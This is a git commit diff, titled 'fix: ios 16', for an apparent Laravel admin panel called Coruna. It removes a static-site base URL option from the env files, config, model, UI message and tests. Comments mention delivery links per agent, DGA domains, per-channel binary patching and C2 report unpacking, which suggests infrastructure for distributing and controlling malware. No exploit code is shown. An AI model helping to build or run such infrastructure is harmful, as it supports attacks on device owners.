fix: ios 16

This commit is contained in:
hashbro
2026-08-09 22:05:47 +08:00
parent 6bc172c570
commit ad30453922
7 changed files with 8 additions and 21 deletions
+1 -3
View File
@@ -57,9 +57,7 @@ CORUNA_CHANNEL_BUILDER_PYTHON=
CORUNA_ARTIFACT_ROOT=
CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# Optional complete origin/base path prepended before /web/{id}/support.html
# Same-host: leave empty or set to APP_URL
CORUNA_STATIC_SITE_BASE_URL=
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
CORUNA_STATIC_SITE_SCHEME=https
# Max channel links per agent (super-admin settings can override)
CORUNA_MAX_CHANNELS_PER_AGENT=5
+1 -1
View File
@@ -62,7 +62,7 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
# CORUNA_ARTIFACT_ROOT=
# CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
CORUNA_STATIC_SITE_BASE_URL=https://admin.example.com
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
```
同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`:
+2 -7
View File
@@ -47,8 +47,8 @@ class Channel extends Model
}
/**
* Domains for support-link display and builder channel hosts.
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS.
* Domains for support-link display.
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS (system settings).
*
* @return list<string>
*/
@@ -90,11 +90,6 @@ class Channel extends Model
{
$links = [];
$path = '/web/'.$this->channel_id.'/support.html';
$baseUrl = rtrim((string) config('coruna.static_site.base_url', ''), '/');
if ($baseUrl !== '') {
$links[] = $baseUrl.$path;
}
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
foreach ($this->resolvedDomains() as $domain) {
$origin = rtrim($domain, '/');
+1 -2
View File
@@ -14,8 +14,7 @@ return [
'deployment_domains' => $channelDomains,
'reporting_domains' => $reportingDomains,
'static_site' => [
// Optional complete origin/base path prepended before /web/{id}/support.html.
'base_url' => rtrim((string) env('CORUNA_STATIC_SITE_BASE_URL', ''), '/'),
// Scheme used when CORUNA_LAB_CHANNEL_DOMAINS entries omit https://.
'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'),
],
'channel_builder' => [
+2 -4
View File
@@ -223,11 +223,9 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/
# CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
CORUNA_STATIC_SITE_BASE_URL=https://admin.example.com
# 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准)
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
CORUNA_STATIC_SITE_SCHEME=https
# 可选:后台链接展示用(不驱动二进制补丁;DGA 域名以首次构建返回为准)
CORUNA_LAB_CHANNEL_DOMAINS=
CORUNA_REPORTING_DOMAINS=
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
@@ -130,7 +130,7 @@ layui.use(['table', 'form', 'layer'], function () {
function openLinks(row) {
var links = row.links || [];
if (!links.length) {
return layer.msg('未生成投放链接(请配置 CORUNA_STATIC_SITE_BASE_URL)');
return layer.msg('未生成投放链接(请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名)');
}
var html = '<div style="padding:16px;">';
links.forEach(function (u, i) {
@@ -28,7 +28,6 @@ class ChannelProjectServiceTest extends TestCase
'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'),
'coruna.channel_builder.timeout' => 30,
'coruna.channel_domains' => ['fallback.test'],
'coruna.static_site.base_url' => 'https://static.test/assets',
]);
}
@@ -173,13 +172,11 @@ class ChannelProjectServiceTest extends TestCase
'domains' => ['channel.test'],
]);
$this->assertSame([
'https://static.test/assets/web/'.self::CHANNEL_ID.'/support.html',
'https://channel.test/web/'.self::CHANNEL_ID.'/support.html',
], $withStored->supportLinks());
$fallback = new Channel(['channel_id' => self::CHANNEL_ID, 'domains' => []]);
$this->assertSame([
'https://static.test/assets/web/'.self::CHANNEL_ID.'/support.html',
'https://fallback.test/web/'.self::CHANNEL_ID.'/support.html',
], $fallback->supportLinks());
}